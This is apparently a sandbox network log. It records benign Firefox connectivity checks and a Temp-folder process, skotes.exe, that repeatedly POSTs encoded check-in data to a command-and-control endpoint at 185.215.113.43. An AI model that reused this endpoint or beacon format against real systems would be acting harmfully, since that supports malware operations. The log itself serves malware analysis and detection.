Nov 24, 2024 10:26:43.968710899 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56911 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:26:54.029119968 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:26:56.232423067 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:26:56.558103085 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56924 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:27:06.628937960 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:10.947907925 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:27:11.354274035 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56939 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:27:12.207674980 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:27:12.532469034 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56940 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:27:22.630156040 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:32.829619884 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:37.766721964 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:27:38.090552092 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 56965 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:27:48.135721922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:58.331286907 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:08.526242971 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:18.720097065 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:28.934530020 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:39.129218102 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:59.520128012 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:28:59.850610018 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 57047 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 24, 2024 10:29:14.587244987 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 24, 2024 10:29:14.919336081 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 17:38:12 GMT Age: 57062 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	50215	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:12.542637110 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50216	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:12.865525961 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50217	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:12.926428080 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:14.276962996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	50221	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:13.259651899 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	50222	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:13.899204016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	50224	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:14.546794891 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	50225	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:15.169032097 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	50226	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:15.962765932 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:17.095021963 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35229 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:26:23.952321053 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:24.277005911 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35237 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:26:27.560324907 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:27.884283066 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35240 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:26:35.175548077 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:35.499233961 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35248 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:26:42.511820078 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:42.836085081 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35255 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:26:43.972662926 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:44.296868086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35257 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:26:54.331214905 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:26:56.561510086 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:26:56.885893106 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35269 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:27:06.930814028 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:11.358716011 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:27:11.682384014 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35284 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:27:12.535942078 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:27:12.859790087 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35285 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:27:22.932034969 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:33.131597042 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:38.094803095 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:27:38.419094086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35311 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:27:48.437336922 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:27:58.634730101 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:08.827558041 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:19.021749973 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:29.236021042 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:39.431109905 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 24, 2024 10:28:59.856328964 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:29:00.180283070 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35393 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 10:29:14.922507048 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 10:29:15.253864050 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 23:39:07 GMT Age: 35408 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50227	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:16.027488947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:17.405105114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50229	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:19.037655115 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:20.372482061 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50230	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:22.109597921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:23.441924095 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50232	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:25.074139118 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:26:26.456510067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50235	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:26:28.198640108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:26:29.595765114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50236	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
